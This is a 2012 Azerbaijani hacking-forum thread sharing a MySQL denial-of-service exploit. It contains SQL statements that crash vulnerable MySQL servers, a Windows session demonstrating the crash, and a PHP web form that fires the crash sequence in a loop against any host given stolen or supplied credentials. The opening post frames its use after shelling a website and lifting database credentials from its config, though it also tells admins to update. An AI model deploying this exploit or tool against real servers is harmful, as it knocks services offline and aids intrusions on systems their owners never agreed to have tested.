Anti-armenia.ORG - Forumlar - Mysql Server Denial of Service Vuln



Istifadəçi
    2012-04-16 23:39 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Bu yaxınlarda MYSQL DBMS vuln tapılıb.
Exploiting qaydası isə çox sadədir.+Bu exploit səhvən Publicə gedib)
Nəticədə 0 daydir.
Vuln http://pastebin.com/tCxNTD96 publish edilib.
5.5.21-dən aşağı versiyalar hamısı təsirlənir bu vulndan.
Şəxsən Linux+Wində də yoxladım güllə kimi işləyir bu Denial Of Service Exploit.
İstifadə qaydası da asandır.
Məsələn hansısa sayta shell basmısınızsa və configdən mysql credentialları ələ keçirib qoşulmusunuzsa database-ə
Aşağıdakı MYSQL statmetləri copy paste etməklə SQL bölməsinə bütün MYSQL serveri Denial Of Service etmiş olursunuz.
Qəşəng exploitdir qəşəng vulndur qəşəng də tapıntıdır))
Exploit:

Kod:
CREATE TABLE bug13510739 (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB;

INSERT INTO bug13510739 VALUES (1), (2), (3), (4);

DELETE FROM bug13510739 WHERE c=2;

HANDLER bug13510739 OPEN;

HANDLER bug13510739 READ `primary` = (2);

# this one crashes the server IF the bug IS present
HANDLER bug13510739 READ `primary` NEXT;

DROP TABLE bug13510739;





Demo windowsda:

Kod:
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show tables \g
ERROR 1046 (3D000): No database selected
mysql> show databases \g
+--------------------+
| Database           |
+--------------------+
| information_schema |
| sed165             |
+--------------------+
2 rows in set (0.00 sec)

mysql> \s
--------------
mysql  Ver 14.14 Distrib 5.5.21, for Win32 (x86)

Connection id:          5
Current database:
Current user:           sed165@localhost
SSL:                    Not in use
Using delimiter:        ;
Server version:         5.5.21 MySQL Community Server (GPL)
Protocol version:       10
Connection:             localhost via TCP/IP
Server characterset:    latin1
Db     characterset:    latin1
Client characterset:    latin1
Conn.  characterset:    latin1
TCP port:               3306
Uptime:                 5 min 33 sec

Threads: 1  Questions: 18  Slow queries: 0  Opens: 35  Flush tables: 1  Open tables: 28  Queries per second avg: 0.054
--------------

mysql> show grants for  'sed165'@'%' \g
+-------------------------------------------------------------------------------------------------------+
| Grants for sed165@%                                                                                   |
+-------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'sed165'@'%' IDENTIFIED BY PASSWORD '*803F09BD31CC02F76D5D5C5451D00C8CDA4E9A15' |
| GRANT ALL PRIVILEGES ON `sed165`.* TO 'sed165'@'%' WITH GRANT OPTION                                  |
+-------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

mysql> use sed165 \g
Query OK, 0 rows affected (0.00 sec)

mysql> CREATE TABLE bug13510739 (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB;
Query OK, 0 rows affected (0.11 sec)

mysql>
mysql> INSERT INTO bug13510739 VALUES (1), (2), (3), (4);
Query OK, 4 rows affected (0.01 sec)
Records: 4  Duplicates: 0  Warnings: 0

mysql>
mysql> DELETE FROM bug13510739 WHERE c=2;
Query OK, 1 row affected (0.05 sec)

mysql>
mysql> HANDLER bug13510739 OPEN;
Query OK, 0 rows affected (0.00 sec)

mysql>
mysql> HANDLER bug13510739 READ `primary` = (2);
Empty set (0.00 sec)

mysql>
mysql> # this one crashes the server IF the bug IS present
mysql> HANDLER bug13510739 READ `primary` NEXT;


Mysql Server Crash Olur burada.(Denial Of Service)


Bütün Server adminlərə təcili məsləhət görülür MYSQL-i təcili yeniləsinlər 5.5.21 -dən yuxarı versiyaya.
5.5.22-uə və s.
Databaseləri backup etməyi də unutmuruq həm userlər həm də server adminlərə aiddir bu.

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2012-04-16 23:50 GMT                 

cLassique



İstifadəçi
Mesaj Sayı : 32
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   0  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər, gözəl paylaşım

Anti-armenia.ORG
    

Istifadəçi
    2012-04-17 00:02 GMT                 

Avatar Fearless



VIP
Mesaj Sayı : 1299
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   23  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Gävle
Ölkə :
Məslək : Hacker,Defacer,Programmer
Yaş : 26
Mesaj :

Mövzunu Paylaş!


Well Done! Təşəkkürlər Bro Əllərinə Sağlıq

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-04-17 00:17 GMT                 

CwGhost



VIP
Mesaj Sayı : 160
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   4  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baku
Ölkə :
Məslək : CwGhost
Yaş :
Mesaj :

Mövzunu Paylaş!


təşəkkürlər

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-04-17 04:14 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Belə bir şey yazdım xüsusilə server adminlər üçün (test üçün)
2 Server admins:Çalışım MYSQL root userdən yoxlayın Grant söhbəti fail verməsin.
Əgər MYSQL server down-a getsə update etməlisiniz MYSQL-i
http://pastebin.com/7FkEb5GT
Kod:
<html>
<head>
<style type="text/css">
body
{
background-color:black;
color:red;
}
</style>
<table border="1">
<form name="dostest" method="post" action="">
<tr><td><label><ul><li>Mysql Server (Host):</li></ul></label>
<td><input type="text" name="host" id="host" size="40"/></td></tr>

<tr><td><label><ul><li>Mysql User:</li></ul></label>
<td><input type="text" name="user" id="user" size="40" /></td></tr>


<tr><td><label><ul><li>Mysql Userin Parolu:</li></ul></label>
<td><input type="text" name="pass" id="pass" size="40" /></td></tr>

<tr><td><label><ul><li>Mysql Database:(Baza)</li></ul></label>
<td><input type="text" name="database" id="database" size="40" /></td></tr>

</table>
<?php echo str_repeat('<ul>'. PHP_EOL,3);?>
<input type="submit" name="s2k" id="s2k" value="Exploit Et Gor nese Alinir?)" />
<?php echo str_repeat('</ul>'. PHP_EOL,3);?>
</form>








<?php
/*
Coded By AkaStep

Vuln Discovered by:(eromang)
http://pastebin.com/tCxNTD96

*/
error_reporting('off');
if(isset($_POST['s2k']) && isset($_POST['host']) && !empty($_POST['host']) && isset($_POST['user']) && !empty($_POST['user']) && isset($_POST['pass'])
&&!empty($_POST['pass']) && isset($_POST['database']) && !empty($_POST['database']))
{

$_POST=array_map('htmlentities',$_POST);

$mysqlhost=$_POST['host'];
$mysqluser=$_POST['user'];
$mysqluserpass=$_POST['pass'];
$mysql_db=$_POST['database'];

//die(var_dump($_POST));


/* EXPLOIT */

$sl=mysql_connect($mysqlhost,$mysqluser,$mysqluserpass) or die('Qosula Bilmirem Mysql Servere');
$selectdb=mysql_selectdb($mysql_db) or die('Database Yoxdur! Yaxud Grant Yoxdur:*(');
echo '1)Exploit Edirik.Gorek ne olur)) Gozle...<br>';

for($i=0;$i<=3;$i++)
{

mysql_query('DROP TABLE IF EXISTS `bug13510739`',$sl) or die('Icra Ede bilmirem: #0 ()');
mysql_query('CREATE TABLE `bug13510739` (c INTEGER NOT NULL, PRIMARY KEY (c)) ENGINE=INNODB',$sl) or die('Icra Ede bilmirem: #1 ()');
mysql_query('INSERT INTO `bug13510739` VALUES (1), (2), (3), (4)') or die('icra Ede bilmirem #2');
mysql_query('DELETE FROM bug13510739 WHERE c=2') or die('Icra ede bilmirem #3');
mysql_query('HANDLER bug13510739 OPEN') or die('Icra ede bilmirem #4');
mysql_query('HANDLER bug13510739 READ `primary` = (2)') or die('Icra ede bilmirem #5');
mysql_query('HANDLER bug13510739 READ `primary` NEXT')  or die('Icra ede bilmirem #6');
mysql_query('DROP TABLE bug13510739') or die('icra ede bilmirem! #7');
}


die('2)Exploit edildi. <br>
3)Son.<br>
4)Server Down-a Getse Demeli Vulnerabledir MYSQL. Update Etmelisen.<br>');
/* EOF */
}
?>

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2012-04-17 05:03 GMT                 

substring



VIP
Mesaj Sayı : 73
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   3  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər Mysql 5.1.61 -də test elədim vecinə də almadı .
4)Server Down-a Getse Demeli Vulnerabledir MYSQL. Update Etmelisen.<br>');



Root accesim olmadığı üçün skripti test edə bilmədim bro əminsən mysql down-a getsə 4 cu resultu admin gorə biləcəy ?

Anti-armenia.ORG
    

Istifadəçi
    2012-04-17 05:10 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Razıram bro.
8 serverdə test edirəm səhərdən cəmi 1də götürüb.
Qalan heç birində exploit edə bilmədi məndə də.
4-cü ilə də razıyam yox görməyəcək
Bloguna da baxdım eromang-ın previous version too yazıb dediyinə görə.
Çox ehtimal grant söhbətidir amma wində + localhost root-suz (adi user kimi) də götürdü.

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2012-04-17 19:13 GMT                 

Ferid23



Admin
Mesaj Sayı : 1875
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   45  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Anti-armenia.ORG
Ölkə :
Məslək : Programmer & Defacer
Yaş : 12
Mesaj :

Mövzunu Paylaş!


Əllərinə sağlıq
PS: Mütləq test edəcəm

AZ Domaini İhbar Hattı (Azərbaycan saytlarında olan boşluqları bizə bildirin): http://anti-armenia.org/forums.php?m=posts&q=572
Qaydalar (Saytın qayda-qanunlarını oxuyaraq əməl edin)
Anti-armenia.ORG
    

Istifadəçi
    2012-04-21 13:03 GMT                 

LocaL



Gold
Mesaj Sayı : 141
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   2  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Badu Kubə
Ölkə :
Məslək : ....
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər Bro dəyərlidir

Çakıl taşlı yollar yordu beni, keşke yürüse yanımda bişr-i hafi...
Anti-armenia.ORG